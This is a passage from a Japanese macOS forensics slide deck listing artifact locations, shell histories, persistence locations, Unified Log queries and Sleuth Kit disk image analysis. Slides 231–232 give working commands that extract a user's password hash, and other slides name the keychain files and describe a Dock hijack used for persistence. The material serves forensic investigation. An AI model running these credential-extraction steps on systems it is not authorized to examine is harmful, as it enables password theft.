Directoryにアクセスする◦ Open Directoryのローカルルートフォルダ▪ /private/var/db/dslocal/nodes/Default/▪ 各種情報はルートフォルダ以下にplistファイルとして保存される◦ Open Directoryの情報へのアクセス▪ dsclコマンド（ライブシステム）▪ 構成ファイルに直接アクセス（ライブシステムまたはオフライン）
230

ユーザーアカウント (2/6)◦ dsclコマンド$ sudo dscl
Entering interactive mode... (type "help" for commands)> cd Local/Default//Local/Default > ls Users/
ユーザーリスト取得_amavisd_analyticsd_appinstalld
ユーザーのパスワードハッシュを取得(snip)/Local/Default > read Users/macforensics ShadowHashData
dsAttrTypeNative:ShadowHashData:
62706c69 73743030 d2010203 0a5f101e 5352502d 52464335 3035342d 34303936 2d534841 3531322d
50424b44 46325f10 1453414c 5445442d 53484135 31322d50(snip)

231

ユーザーアカウント (3/6)◦ 構成ファイルに直接アクセス▪ ユーザーリストを取得$ sudo ls /private/var/db/dslocal/nodes/Default/users/_amavisd.plist_devicemgr.plist_krb_krbtgt.plist_scsd.plist_analyticsd.plist_diskimagesiod.plist(snip)▪ ユーザーのパスワードハッシュを取得$ sudo plutil -extract 'ShadowHashData' xml1
/private/var/db/dslocal/nodes/Default/users/macforensics.plist -o - | grep -v "<" | base64-d -i - -o - | plutil -convert xml1 - -o -232ユーザーアカウント (4/6)◦ 最終ログインユーザー▪ /Library/Preferences/com.apple.loginwindow.plist▪ 最後にログインしたユーザーのほか、ログイン試行の結果、ログイン試行のタ
イムスタンプ、自動ログインユーザー、ゲストユーザーの可否なども記録されている$ % plutil -p /Library/Preferences/com.apple.loginwindow.plist{"AccountInfo" => {"FirstLogins" => {"macforensics" => 1
"user01" => 1}
"MaximumUsers" => 1
"OnConsole" => {}}"GuestEnabled" => 0
"lastLoginPanic" => 642904286.81091"lastUser" => "loggedIn""lastUserName" => "macforensics""MCXLaunchAfterUserLogin" => 1
"OptimizerLastRunForBuild" => 42142560"OptimizerLastRunForSystem" => 184681216"SHOWFULLNAME" => 1
"UseVoiceOverLegacyMigrated" => 1}

233

ユーザーアカウント (5/6)◦ 削除されたユーザー▪ /Library/Preferences/com.apple.preferences.accounts.plist▪ 削除されたユーザー名のほか、ユーザーID、削除されたタイムスタン
プが記録されている$ plutil -p /Library/Preferences/com.apple.preferences.accounts.plist{"deletedUsers" => [0 => {"date" => 2021-05-20 02:53:51 +0000"dsAttrTypeStandard:RealName" => "testuser""dsAttrTypeStandard:UniqueID" => 502"name" => "testuser"
}
]
}

234

ユーザーアカウント (6/6)◦ インターネットアカウント▪ /Users/<username>/Library/Accounts/Accoun
tsX.sqlite▪ 「システム環境設定」の「インターネットアカウント」の情報が保管されている▪ 「AccountsX.sqlite」の「X」はOSバージョンによって数字が変わる▸macOS 10.15, macOS 11の場合● Accounts4.sqlite

235

プログラム実行履歴 (1/6)◦ macOSのプログラム実行履歴▪ WindowsのPrefetchのような機能はない▪ zshやFinder、Spotlightなどのアプリケーションごとの履歴として実行履歴が残る▸タイムスタンプが記録されないものが多い▪ Unified Logsには実行されたコマンドやアプリケーショ
ンが記録される場合がある▸タイムスタンプも残る▸Unified Logsに残るプログラム実行履歴については後述する

236

プログラム実行履歴 (2/6)◦ .bash_history▪ bashのコマンドヒストリー◦ .bash_sessionsディレクトリ

▪ macOS 10.11で採用▪ bashのセッションごとにヒストリーを分けて保存する▪ ファイル構成▸TERM_SESSION_ID.history : セッションヒストリが保存される▸TERM_SESSION_ID.historynew : 多くの場合、ブランク▸TERM_SESSION_ID.session : 最後にレジュームしたタイムスタンプが保存される▸TERM_SESSION_ID.historynew のファイル作成日時 = セッション開始日時▸TERM_SESSION_ID.history のファイル更新日時= セッション終了日時▪ .historyファイルには該当セッションのコマンドヒストリーだけではなく、過去のセッションのコマンドヒストリーもコピーされて保存される。そのため、該当のセッションの実際のコマンドヒストリーは、その差分となる。
237

プログラム実行履歴 (3/6)◦ .zsh_history▪ zshのコマンドヒストリー▪ macOS 10.15でターミナルのデフォルトシェルがzshに変更された▪ このファイルには実行日時は記録されていないが、zshのビルトインコマンド「history –i 1」を実行すると、コマンドの実
行日時を得ることができる◦ .zsh_sessionsディレクトリ

▪ .bash_sessionsと同様にzshのセッションごとのヒストリーが
保存される

238

プログラム実行履歴 (4/6)◦ Users Interface Preservation▪ OS X 10.7で採用▪ ログイン時にアプリケーションの状態を復元するため、リブー
ト時にアプリケーションのデータを保存している▪ ~/Library/Saved Application State/*.savedState/▸ディレクトリの作成日時が最初にアプリケーションを実行したタイ

ムスタンプ▸ファイルの更新日時が直近で実行したタイムスタンプ▸AES-128 で暗号化されているがデータとは別ファイルにキーが保存されている▪ ターミナルアプリのバッファを復元することができる
239

プログラム実行履歴 (5/6)◦ Spotlight Shortcuts▪ スポットライトから実行したアプリケーションが記録される▪ Spotlightはアプリケーション名を補完するので、「fire」だけで「Firefox」を実行することができる。この場合、fireとFirefoxが紐づいたエントリが記録される。
▪ OS X 10.9以前▸~/Library/Preferences/com.apple.spotlight.plist▪ OS X 10.10以降▸~/Library/Application Support/com.apple.spotlight.Shortcuts▪ macOS 10.15▸~/Library/Application Support/com.apple.spotlight/com.apple.spotlight.Sho
rtcuts▪ macOS 11以降▸~/Library/Application Support/com.apple.spotlight/com.apple.spotlight.Sho
rtcuts.v3

240

プログラム実行履歴 (6/6)◦ Transparency, Consent, and Control (TCC)▪ プライバシーに関わる機能（カメラやマイクなど）や特定のフォルダにアクセスするアプリケーションの許可または不許可の設定と設定を行った日時▪ システム▸/Library/Application Support/com.apple.TCC/TCC.db▪ ユーザ▸/Users/<username>/Library/Application
Support/com.apple.TCC/TCC.db▪ Unified Logsにも記録される▸https://www.mac4n6.com/blog/2020/6/1/analysis-of-apple-

unified-logs-quarantine-edition-entry-10-you-down-with-tcc-yeayou-know-me-tracking-app-permissions-and-the-tcc-apollomodule241自動実行プログラム (1/6)◦ Launch Daemon/Agents▪ 特定のフォルダに保存された設定ファイル(plist)に従って、OS起動時にプログラムを実行する▪ マルウェアによく使われる▪ 開発元によって保存するフォルダが異なる▪ Apple▸/System/Library/LaunchDaemons/▸/System/Library/LaunchAgents/▪ サードパーティ▸/Library/LaunchDaemons/▸/Library/LaunchAgents/▪ ユーザー▸~/Library/LaunchAgents/242

自動実行プログラム (2/6)◦ パーシステンス監視ツールBlockBlock% plutil -p /Library/LaunchDaemons/com.objective-see.blockblock.plist{"EnableTransactions" => 0
"Label" => "com.objective-see.blockblock""LSUIElement" => 1
"MachServices" => {"com.objective-see.blockblock" => 1}
"ProgramArguments" => [0 => "/Library/Objective-See/BlockBlock/BlockBlock.app/Contents/MacOS/BlockBlock"]"RunAtLoad" => 1}

243

自動実行プログラム (3/6)◦ Login Items▪ ユーザのログイン時にプログラムを実行する▪ マルウェアによく使われる▪ macOS 10.12以前▸~/Library/Preferences/com.apple.loginitems.plist▪ macOS 10.13以降▸~/Library/Application

Support/com.apple.backgroundtaskmanagementage
nt/backgrounditems.btm
244自動実行プログラム (4/6)◦ Dockアイテムの実行ファイルパス差し替え▪ ユーザーがよく使うアプリケーションは画面下のDockと呼ばれる領域にアイコンを登録することができる▸最近実行したアプリケーションも自動的にアイコンが表示される▸アプリケーションのファイルパスやタイムスタンプ等も記録される▸/Users/<username>/Library/Preferences/com.apple.dock.plist▪ Dockに登録されたアプリケーションのファイルパスを悪意のあるプログラムに書き換えることで、ユーザがDockのアイコンをクリックしたときにマルウェアを実行することができる▸Dock上で表示されるアプリケーション名やアイコンは本物と同じものに偽装することができる▪ ユーザーが気付きにくいように、マルウェア実行時には本物のアプリケーションも起動するようにできる▸https://posts.specterops.io/are-you-docking-kidding-me-9aa79c24bdc1▪ Windowsの.LNKでも同じような攻撃ができる
245

自動実行プログラム (5/6)◦ at▪ UNIX/Linuxと同じ▪ デフォルトで無効化されている▪ Launch Daemon から起動される▸/System/Library/LaunchDaemons/com.apple.atrun.plist▪ ジョブファイル▸/private/var/at/jobs/▸/usr/lib/cron/jobs/▸/usr/lib/cronが/private/var/atにハードリンクしている（i-node が同じ）

◦ cron▪ UNIX/Linuxと同じ▪ ジョブファイル▸/private/var/at/tabs/▸/usr/lib/cron/tabs/
246自動実行プログラム (6/6)◦ emond (Event Monitor Daemon)▪ OS X 10.5で採用▸現在は開発されていないが、macOS 11でもファイルが残っている▪ 以下のディレクトリにファイルが存在するとemondが起動する▸/private/var/db/emondClients▪ ルールフォルダ▸/private/etc/emond.d/rules/
247

Recent Items (1/4)◦ WindowsのRecentDocsのようにアクセスしたファイルなどが記録されている▪ OS X 10.10以前▸~/Library/Preferences/com.apple.recentitems.plist▪ OS X 10.11以降▸~/Library/Application

Support/com.apple.sharedfilelist/以下の.sfl及び.sfl2フ
ァイル▸*.sfl : OS X 10.11以降▸*.sfl2 : macOS 10.13以降
248

Recent Items (2/4)◦ アップルメニューの「最近使った項目」▪ Recent Applications▸com.apple.LSSharedFileList.RecentApplications(.sfl|.sfl2)▪ Recent Documents▸com.apple.LSSharedFileList.RecentDocuments(.sfl|.sfl2)▸com.apple.LSSharedFileList.ApplicationRecentDocuments/● このディレクトリの下にアプリケーション毎のsfl/sfl2ファイルがある▪ Recent Servers （サーバ名で保存）▸com.apple.LSSharedFileList.RecentServers(.sfl|.sfl2)▪ Recent Hosts （IPアドレスで保存）▸com.apple.LSSharedFileList.RecentHosts(.sfl|.sfl2)249

Recent Items (3/4)◦ Finderのサイドバーに表示される項目▪ Finder Tag▸com.apple.LSSharedFileList.ProjectsItems(.sfl|.sfl2)▪ Favorite Items▸com.apple.LSSharedFileList.FavoriteItems(.sfl|.sfl2)▪ Favorite Volumes▸com.apple.LSSharedFileList.FavoriteVolumes(.sfl|.sfl2)◦ サーバへ接続のよく使うサーバ▪ Favorite Servers▸com.apple.LSSharedFileList.FavoriteServers (.sfl|.sfl2)
250

Recent Items (4/4)◦ ダイアログで最近使用したフォルダ▪ ~/Library/Preferences/.GlobalPreferences.plist▪ defaults read -g NSNavRecentPlaces◦ Finderによるアクセスの履歴▪ ~/Library/Preferences/com.apple.finder.plist▸FXDesktopVolumePositions● デスクトップに表示されるボリュームのアイコンの座標▸FXRecentFolders● 直近10個のボリューム名を含むフォルダ名が記録される▸FXConnectToLastURL● 移動メニューのサーバへ接続▸GoToField / GoToFieldHistory● 移動メニューのフォルダへ移動の履歴251Safari (1/2)◦ History▪ /Users/<username>/Library/Safari/History.db▪ デフォルトで1年で消える◦ Downloads▪ /Users/<username>/Library/Safari/Downloads.plist▪ デフォルトで1日で消える◦ Last Session▪ Safari 14以前▸/Users/<username>/Library/Safari/LastSession.plist▪ Safari 15以降▸/Users/<username>/Library/Containers/com.apple.Safari/Data/Lib
rary/Safari/SafariTabs.db

252

Safari (2/2)◦ Bookmarks▪ /Users/<username>/Library/Safari/Bookmarks.plist◦ Extensions▪ Safari 13以下▸/Users/<username>/Library/Safari/Extensions/Extensions.plist▪ Safari 14以降▸/Users/<username>/Library/Containers/com.apple.Safari/Data/Library/Safari/App
Extensions/Extensions.plist▸/Users/<username>/Library/Containers/com.apple.Safari/Data/Library/Safari/Web
Extensions/Extensions.plist◦ Preferences▪ Safari 12以下▸/Users/<username>/Library/Preferences/com.apple.Safari.plist▪ Safari 13以降▸/Users/<username>/Library/Containers/com.apple.Safari/Data/Library/Preferences/com.apple.Safari.plist

253

Spotlightメタデータ (1/4)◦ macOSの検索システム◦ 以下のようなメタデータを保存する▪ Spotlight経由で実行したアプリケーションや検索した単語▪ ファイルのMACBタイムスタンプ（ファイルシステムとは別管理）▪ ファイルを最後に使用したタイムスタンプ▪ ファイルを使用した日付の履歴▪ ファイルのダウンロード元URL▪ ファイルのダウンロードを行ったタイムスタンプ▪ ユーザ毎のSafari, Notes, Maps, Mailなどのアプリケーションが
持つ情報

254

Spotlightメタデータ (2/4)◦ Spotlightメタデータの検索▪ mdls▸指定したファイルのメタデータを出力する▪ mdfind▸指定した条件のメタデータを持つファイルを検索する◦ Spotlightメタデータの解析▪ mdlsやmdfindなどはライブシステムでないと使うことができない▪ Spotlightのデータベースの解析には専用のツールが必要
255

Spotlightメタデータ (3/4)◦ Spotlightデータベース (1)OSバージョン

ファイルパス

備考<=macOS 10.14/.Spotlight-V100/Store-V2/*/store.db

システムとユーザーデータの両方が含まれる/.Spotlight-V100/Store-V2/*/.store.db>=macOS 10.15/System/Volumes/Data/private/var/db/SpotlightV100/BootVolume/Store-V2/*/store.db/System/Volumes/Data/private/var/db/SpotlightV100/BootVolume/Store-V2/*/.store.db

macOS 10.15のボリューム
分割後のシステムボリュー
ム用256

Spotlightメタデータ (4/4)◦ Spotlightデータベース (2)OSバージョン

ファイルパス

備考>=macOS 10.13/Users/*/Library/Metadata/CoreSpotlight/index.spotli
ghtV3/store.db

ユーザー毎に作られる。
macOS 10.14以降でも使われる。

/Users/*/Library/Metadata/CoreSpotlight/index.spotli
ghtV3/.store.db>=macOS 10.15/System/Volumes/Data/.Spotlight-V100/StoreV2/*/store.db/System/Volumes/Data/.Spotlight-V100/StoreV2/*/.store.db

macOS 10.15のボリューム
分割後のデータボリューム
用257

ソフトウェアインストール履歴◦ InstallHistory▪ /Library/Receipts/InstallHistory.plist▪ OSやソフトウェアのインストール履歴が記録される▪ パッケージ名、バージョン、インストール日時258

Quarantine Events◦ Webブラウザ等でファイルのダウンロードでcom.apple.quarantine拡張属性が付与されたファイルのデータベース▪ 拡張属性とは別に記録されるため、ファイルの拡張属性が削除されても残る◦ Mac OS X 10.6以下▪ ~/Library/Preferences/com.apple.LaunchServices.QuarantineEvents◦ Mac OS X 10.7以降▪ ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2◦ ファイルをダウンロードしたアプリケーション名、タイムスタンプ、ダウンロー
ド元URL等が記録される◦ curlやwgetなどでダウンロードしたファイルには、拡張属性が設定されず、データベースにも記録されない

259

ログの種類 (1/3)◦ Syslog▪ 伝統的なUNIXのSyslog◦ Apple System Log (ASL)▪ Syslogの置き換えを目指したもの▪ テキストフォーマット
▪ Syslogコマンドによるログの閲覧▸syslog -T utc -F raw -d asl/
▸syslog -f log.asl▸Filename: YYYY.MM.DD.[UID].[GID].asl
260

ログの種類 (2/3)◦ Unified Logs (1)▪ macOS 10.12で導入▪ バイナリフォーマット
▪ 保存ディレクトリ
▸/private/var/db/uuidtext▸/private/var/db/diagnostics▪ ライブシステムからログをエクスポート▸sudo log collect● system_logs.logarchive が作成される▪ ディスクイメージから手動でログをエクスポート

1. /private/var/db/diagnostics と /private/var/db/uuidtext フォルダ内のファイルを1つのフォルダにコピーする（uuidtext と diagnostics の親フォルダは含めない）
2. コピー先のフォルダに ".logarchive" 拡張子を付加する
macOSのバージョンアップに伴って若干追加の手順が必要になった▸● Catalina上で保全してきたUnifiedLogを解析する● https://padawan-4n6.hatenablog.com/entry/2020/03/15/052607

261

ログの種類 (3/3)◦ Unified Logs (2)▪ logコマンド% log show --debug --info --predicate 'FILTERING CONDITION' --start 'YYYY-MM-DD hh:mm:ss'--end 'YYYY-MM-DD hh:mm:ss'▪ フィルタリング条件
eventTypeThe type of event: activityCreateEvent, activityTransitionEvent, logEvent, signpostEvent, stateEvent,timesyncEvent, traceEvent and userActionEvent.
eventMessage
The pattern within the message text, or activity name of a log/trace entry.
messageType
For logEvent and traceEvent, the type of the message itself: default, info, debug, error or fault.
process
The name of the process the originated the event.
processImagePath
The full path of the process that originated the event.
sender
The name of the library, framework, kernel extension, or mach-o image, that originated the event.
senderImagePath
The full path of the library, framework, kernel extension, or mach-o image, that originated the event.
subsystem
The subsystem used to log an event. Only works with log messages generated with os_log(3) APIs.
category
The category used to log an event. Only works with log messages generated with os_log(3) APIs. When
category is used, the subsystem filter should also be provided.

262

Unified Logs (1/5)◦ Unified Logsフォーマット
Timestamp

Thread ID

Activity ID
Log Type

TTL% log show --info --debug --predicate 'sender == "TimeMachine"'
Filtering the log data using "sender == "TimeMachine""
Timestamp
ThreadType
Activity
PID
2021-11-09 18:41:17.571449+0900 0x23fb85
Info
0x0
259
[com.apple.TimeMachine:General] Mountpoint '/Volumes/TimeMachine' is still valid

Subsystem

Category

Process Name

Process ID

Sender (Library)TTL
0backupd: (TimeMachine)

Event Message▪ 実際は1行
263

Unified Logs (2/5)◦ フィルタ例 (1)▪ sudo, su実行

ログのフィルタリング条件

実行したユーザー% log show --debug --info --predicate 'process BEGINSWITH "su" and eventMessage CONTAINS[cd] "tty"'
Filtering the log data using "process BEGINSWITH "su" AND composedMessage CONTAINS[cd] "tty""
Timestamp
ThreadType
Activity
PID
TTL
2021-11-17 15:07:18.397543+0900 0x3bf47c
Default
0x099577 0sudo: macforensics :TTY=ttys001 ; PWD=/Users/macforensics ; USER=root ; COMMAND=/usr/bin/xargs -0 -- /bin/rm -2021-11-17 15:07:18.490150+0900 0x3bf54d
Default
0x099580 0sudo: macforensics :TTY=ttys001 ; PWD=/Users/macforensics ; USER=root ; COMMAND=/usr/bin/xargs -0 -- /bin/rm -2021-11-17 15:07:18.536167+0900 0x3bf556
Default
0x099583 0sudo: macforensics :実行したコマンドTTY=ttys001 ; PWD=/Users/macforensics ; USER=root ; COMMAND=/usr/bin/xargs -0 -/usr/local/Homebrew/Library/Homebrew/cask/utils/rmdir.sh
2021-11-17 15:07:18.591643+0900 0x3bf568
Default
0x099587 0sudo: macforensics :TTY=ttys001 ; PWD=/Users/macforensics ; USER=root ; COMMAND=/usr/bin/xargs -0 -/usr/local/Homebrew/Library/Homebrew/cask/utils/rmdir.sh(snip)

264

Unified Logs (3/5)◦ フィルタ例 (2)▪ リモートホストへのSSHログイン$ log show --debug --info --predicate 'process == "ssh"'
Filtering the log data using "process == "ssh""
Timestamp
ThreadType
Activity
PID
TTL
2021-12-06 15:42:44.871628+0900 0x5bae5
Activity
0xb7af0
29641 0(libsystem_info.dylib) Retrieve User by ID
2021-12-06 15:42:44.903844+0900 0x5bae5
Activity
0xb7af1
29641 0
ユーザー名やSSHサーバは(libsystem_info.dylib) Retrieve service by name
分からない
2021-12-06 15:43:03.713101+0900 0x5bb72
Activity
0xb7bc029643 0(libsystem_info.dylib) Retrieve User by ID
2021-12-06 15:43:03.715080+0900 0x5bb72
Activity
0xb7bc1
29643 0(libsystem_info.dylib) Retrieve service by name(snip)

ssh:

ssh:
ssh:
ssh:

265

Unified Logs (4/5)◦ フィルタ例 (3)▪ ボリュームマウント／アンマウント% log show --info --debug --predicate 'process == "kernel" AND (eventMessage CONTAINS "mounted" OR eventMessage
CONTAINS "unmount")'
Filtering the log data using "process == "kernel" AND (composedMessage CONTAINS "mounted" OR composedMessage
CONTAINS "unmount")“
マウント
ボリューム名Timestamp
ThreadType
Activity
PID
TTL
2021-12-06 15:54:26.338108+0900 0x5cc5f
Default
0x0
00kernel: (HFS) hfs:
mounted Script Debugger 8.0 on device disk4s2
2021-12-06 15:54:32.218976+0900 0x5cf19
Default
0x0
00kernel: (HFS) hfs:
unmount initiated on Script Debugger 8.0 on device disk4s2(snip)

アンマウント266

Unified Logs (5/5)◦ フィルタ例 (4)▪ アプリケーション実行% log show --info --debug --predicate 'eventMessage BEGINSWITH "LAUNCHING:" OR eventMessage BEGINSWITH "LAUNCH:"'
Filtering the log data using "composedMessage BEGINSWITH "LAUNCHING:" OR composedMessage BEGINSWITH "LAUNCH: ""起動元アプリケーション
Timestamp
ThreadType
Activity
PID
TTL
2021-12-07 01:19:26.884224+0900 0x6886b
Default
0x0
19035 0Dock: (LaunchServices)[com.apple.processmanager:front-35286506]
LAUNCH: 0x0-0x220220 com.apple.systempreferences starting stopped
実行されたアプリケーションのprocess.
ID
2021-12-07 08:13:48.861531+0900 0x8b098 Bundle
Default
0x019047 0Spotlight:(LaunchServices) [com.apple.processmanager:front-35286506] LAUNCH: 0x0-0x23a23a org.pqrs.KarabinerElements.Preferences starting stopped process.
2021-12-07 08:13:53.075373+0900 0x8b26a
Default
0x018976 0UserEventAgent:(LaunchServices) [com.apple.processmanager:front-35286506] LAUNCH: 0x0-0x241241 com.apple.systempreferences
starting stopped process.
(snip)

267

キーチェーン▪ Wi-Fiアクセスポイントやアプリケーションのパスワード、Webサイトのアカウントやパスワード、証明書などが保存される▪ システムキーチェーン▸/Library/Keychains/System.keychain▸/private/var/db/SystemKey▸SystemKeyファイルにはSystem.keychainファイル暗号化のマスターキーが含まれるが、SIPが有効な場合、ライブシステムでは取得できない▪ ユーザーキーチェーン▸OS X 10.11以前:/Users/<username>/Library/Keychains/login.keychain▸macOS 10.12以降:/Users/<username>/Library/Keychains/login.keychain-db
268

ネットワーク接続 (1/2)◦ CFURL Cache▪ NSURLRequest APIでHTTP/HTTPSアクセスした際のキャッシュが残る▸/Users/<username>/Library/Caches/<Bundle

ID>/Cache.db▸アクセスしたURLやタイムスタンプ、サーバからのレスポンスが記録される▸タイムスタンプは最後にアクセスした日時▪ 一定以上のサイズのサーバレスポンスはGUIDが割り当てられて、ファイルとして保存される▸/Users/<username>/Library/Caches/<Bundle
ID>/fsCacheData269

ネットワーク接続 (2/2)◦ Net Usage▪ macOS 10.15以前▸/private/var/networkd/netusage.sqlite▪ macOS 11以降▸/private/var/networkd/db/netusage.sqlite▪ SIPで保護されている▪ プログラム名、最初に使用した日時、最後に使用した日時、送受信したデータ量
270統計情報 (1/2)◦ knowledgeC.db▪ システム▸/private/var/db/CoreDuet/Knowledge/▪ ユーザー▸~/Library/Application Support/Knowledge/▪ アプリケーションの使用統計やSafariのアクセス履歴など

271

統計情報 (2/2)◦ CurrentPowerlog.PLSQL▪ /private/var/db/powerlog/Library/BatteryLife/▸CurrentPowerlog.PLSQL▸Archives/powerlog_YYYY-MMDD_XXXXXXXX.PLQSQL.gz▪ アプリケーションの利用状況、クラムシェルモードの状
態、バッテリーレベル、ネットワークの使用状況など

272

A2

Appendix 2:
TSKによるディスクイメージ解析例273

TSKによるディスクイメージ解析例 (1/7)◦ パーティション情報% mmls ./data.dmg
GUID Partition Table (EFI)
Offset Sector: 0Units are in 512-byte sectors

000:
001:
002:
003:
004:
005:
006:

Slot
Meta
------Meta
Meta
000
001
-------

Start
0000000000
0000000000
0000000001
0000000002
0000000040
0000409640
1782988840

End
0000000000
0000000039
0000000001
0000000033
0000409639
1782988839
1782988879

Length0000000001
0000000040
0000000001
0000000032
0000409600
1782579200
0000000040

Description
Safety Table
UnallocatedGPT Header
Partition Table
EFI System Partition
disk image
Unallocated274TSKによるディスクイメージ解析例 (2/7)◦ APFSコンテナの状態% pstat -o 409640 ./data.dmg | head -200
POOL CONTAINER INFORMATION-------------------------------------------Container 2fc5f464-f43a-4672-935d-1ebde0f725fe==============================================
Type: APFSNX Block Number: 0
NX oid: 1
NX xid: 1246
Checkpoint Descriptor Block: 96411
Capacity Ceiling (Size): 912680550400 B
Capacity In Use:
824476323840 B
Capacity Available:
88204226560 B
Block Size:
4096 B
Number of Blocks:
222822400
Number of Free Blocks: 21534235|+-> Volume 85516afa-e5b1-41e9-a8d8-eb1431c49299|===========================================|APSB Block Number: 1547567|
APSB oid: 701674|
APSB xid: 1244|
Name (Role): Macintosh HD - Data (Unknown)|
Capacity Consumed: 808942489600 B|
Capacity Reserved: None(snip)

解析対象のAPFSボリュームのAPSB Block Numberをメモする
APFSボリューム名を確認
275

TSKによるディスクイメージ解析例 (3/7)◦ APFSボリュームの状態% fsstat -o 409640 -B 1547567 ./data.dmg
FILE SYSTEM INFORMATION-------------------------------------------File System Type: APFS
Volume UUID 85516afa-e5b1-41e9-a8d8-eb1431c49299
APSB Block Number: 1547567
APSB oid: 701674
APSB xid: 1244
Name (Role): Macintosh HD - Data (Unknown)
Capacity Consumed: 808942489600 B
Capacity Reserved: None
Capacity Quota: None
Case Sensitive: No
Encrypted: No
Formatted by: asr (1677.141.2)

APSB Block Numberを指定する

スナップショット内の情報にアクセスした
い場合、各コマンドの「-S」オプションに
スナップショットIDを指定する

Created: 2021-10-04 08:41:42.438168812 (JST)Changed: 2021-10-04 09:01:58.085690338 (JST)Snapshots--------[1231] 2021-10-04 09:01:55.141826872 (JST) live_9F8C863A-76B1-45FF-81F7-FFD090EA45AB
Unmount Logs-----------Timestamp
2021-10-04 09:01:58.116745864 (JST)Log String
apfs_kext (1677.141.2)

276

TSKによるディスクイメージ解析例 (4/7)◦ ファイルリスト% fls -o 409640 -B 1547567 ./data.dmg 1097488
d/d 21976703:
sleuthkit-4.11.0
r/r 20122626:
ScriptDebugger8.0-8A32.dmg
d/d 19651326:
iso_images
r/r 1141138:.DS_Storer/r 21976676:
sleuthkit-4.11.0.tar.gz
r/r 2427334:
sdl-monitor.zip
d/d 8511798:
malware analysis tools
r/r 9369066:
IDAPython-Book.pdf
d/d 9335155:
mac_malware
r/r 1097489:.localized
r/r 6914785:
Hex_Fiend_2.12.dmg
d/d 21998020:
autopsy-4.19.1
d/d 8510663:
objective-see tools
r/r 22504247:
LibreOffice_7.2.0_MacOS_x86-64_langpack_ja.dmg
r/r 8304914:
mt-fuji-477832_1920.jpg
r/r 20123007:
ScriptDebugger7.0.12-7A112.dmg
r/r 9409046:
Intel(R)_USB_3.0_eXtensible_Host_Controller_Driver_5.0.4.43_v2.zip
r/r 8292313:
Kernel_Debug_Kit_10.14.4_build_18E226.dmg
r/r 22483996:
LibreOffice_7.2.0_MacOS_x86-64.dmg
r/r 6914991:
fortiappmonitor_1.0.0_release.pkg
r/r 8628531:
sentinal-one-mac-os-.pdf
d/d 9318561:
IDA Pror/r 8306748:
architecture-1869398_1920.jpg

Node ID (i-node)を指定する。
省略した場合、ルートディレクトリを指す。

277

TSKによるディスクイメージ解析例 (5/7)◦ ファイルのメタデータ% istat -o 409640 -B 1547567 ./data.dmg 6914785
INode Number: 6914785
Allocated
Type:
Regular FileMode:
rrw-r--r-Size:
2075292
owner / group: 501 / 20
Number of Links: 1

Filename:
BSD flags:

Hex_Fiend_2.12.dmg
0x00000000

Times:Created:Content Modified:Attributes Modified:Accessed:
Date Added:

タイムスタンプ
2020-01-07 12:40:49.837570530 (JST)2020-01-07 12:40:51.118232894 (JST)2021-06-23 15:35:49.890141839 (JST)2020-01-07 14:57:17.754549141 (JST)2020-01-07 12:40:49.837570530 (JST)Extended Attributes

Attributes:
Type: DATA (4352-0)
Name: N/A
Non-Resident
size: 2075292 init_size: 2075292(snip)
Type: ExATTR (4354-1)
Name: com.apple.diskimages.fsck
Resident
size: 20
Type: ExATTR (4354-2)
Name: com.apple.diskimages.recentcksum
Resident
size: 80
Type: ExATTR (4354-3)
Name: com.apple.macl
Resident
size: 72
Type: ExATTR (4354-4)
Name: com.apple.metadata:kMDItemWhereFroms
Resident
size: 616
Type: ExATTR (4354-5)
Name: com.apple.quarantine
Resident
size: 58278

TSKによるディスクイメージ解析例 (6/7)◦ ファイルのエクスポート

標準出力に出力されるのでファイルにリダイレクト% icat -o 409640 -B 1547567 ./data.dmg 6914785 > Hex_Fiend_2.12.dmg◦ Extended Attributesのエクスポート% icat -o 409640 -B 1547567 ./data.dmg 6914785-4354-4 | hexdump -n 1000 -C
00000000 62 70 6c 69 73 74 30 30 a2 01 02 5f 11 01 fd 68 |bplist00..._...h|00000010 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2d 70 72 |ttps://github-pr|
00000020 6f 64 75 63 74 69 6f 6e 2d 72 65 6c 65 61 73 65 |oduction-release|
IDにAttributes
IDを00000030 2d 61 73 Node73 65 74
2d 32 65 36 35
62 65 2e 73 33 |-asset-2e65be.s3|
00000040 2e 61 6d 61 7a 6f 追加する
6e 61 77 73 2e 63 6f 6d 2f 32 |.amazonaws.com/2|
00000050 39 32 38 35 33 34 2f 62 36 64 66 39 37 30 30 2d |928534/b6df9700-|(snip)

279

TSKによるディスクイメージ解析例 (7/7)◦ 再帰的なファイルのエクスポート% ifind -o 409640 -B 1547567 -n /Users/macforensics/Downloads ./data.dmg
1097488% tsk_recover -a -o 409640 -B 1547567 -d 1097488 ./data.dmg ./export_files/
Files Recovered: 42▪ 複数のファイルを1回でエクスポートすることができる

280

A3

Appendix 3:macOSバージョンごとのパーティション構造

281

macOSバージョンごとのパーティション構造 (1/8)◦ macOSのファイルシステム▪ macOS 10.12以前▸HFS+▸Classic Mac OSから使用されているファイルシステム▸ファイルシステムレベルの暗号化未サポート● ディスクの暗号化はCoreStorageを使用▪ macOS 10.13以降▸APFS▸ファイルシステムレベルの暗号化のサポート
282

macOSバージョンごとのパーティション構造 (2/8)◦ macOSのパーティション構造 (1)▪ macOS 10.12以前▸ファイルシステムはHFS+▸システムとユーザーデータは同じボリューム内に存在し、UNIX
権限とSystem Integrity Protection (SIP)でシステムが保護されている▪ macOS 10.13/10.14▸ブートディスクのファイルシステムとしてAPFSが採用されたが、パーティション構造はHFS+の時とほとんど変わらない

283

macOSバージョンごとのパーティション構造 (3/8)◦ macOS 10.14
disk0

システムとユーザーデータが同じボリュームに同居している

disk0s1
EFI
disk0s2
APFS Container

disk1s1
Macintosh HD

disk1

disk1s2
Preboot
disk1s3
Recoverydisk1s4
VM
284

macOSバージョンごとのパーティション構造 (4/8)◦ macOSのパーティション構造 (2)▪ macOS 10.15▸システム用(Macintosh HD)ボリュームとユーザーデータ用(Macintosh HD – Data)ボリュームに分割された▸システム用ボリュームは「/ (root)」として、リードオンリーでマウントされる▸これら2つのボリュームは同じ名前のフォルダ名を持っており、
Firmlinkを通して、透過的に両方のボリュームにアクセスすることができる285

macOSバージョンごとのパーティション構造 (5/8)◦ macOS 10.15
disk0

disk1s1
Macintosh HD - Data

disk0s1
EFI
disk0s2
APFS Container

disk1s5
Macintosh HD
disk1

disk1s2
Preboot

Firmlink

Read-only mountdisk1s3
Recoverydisk1s4
VM
286

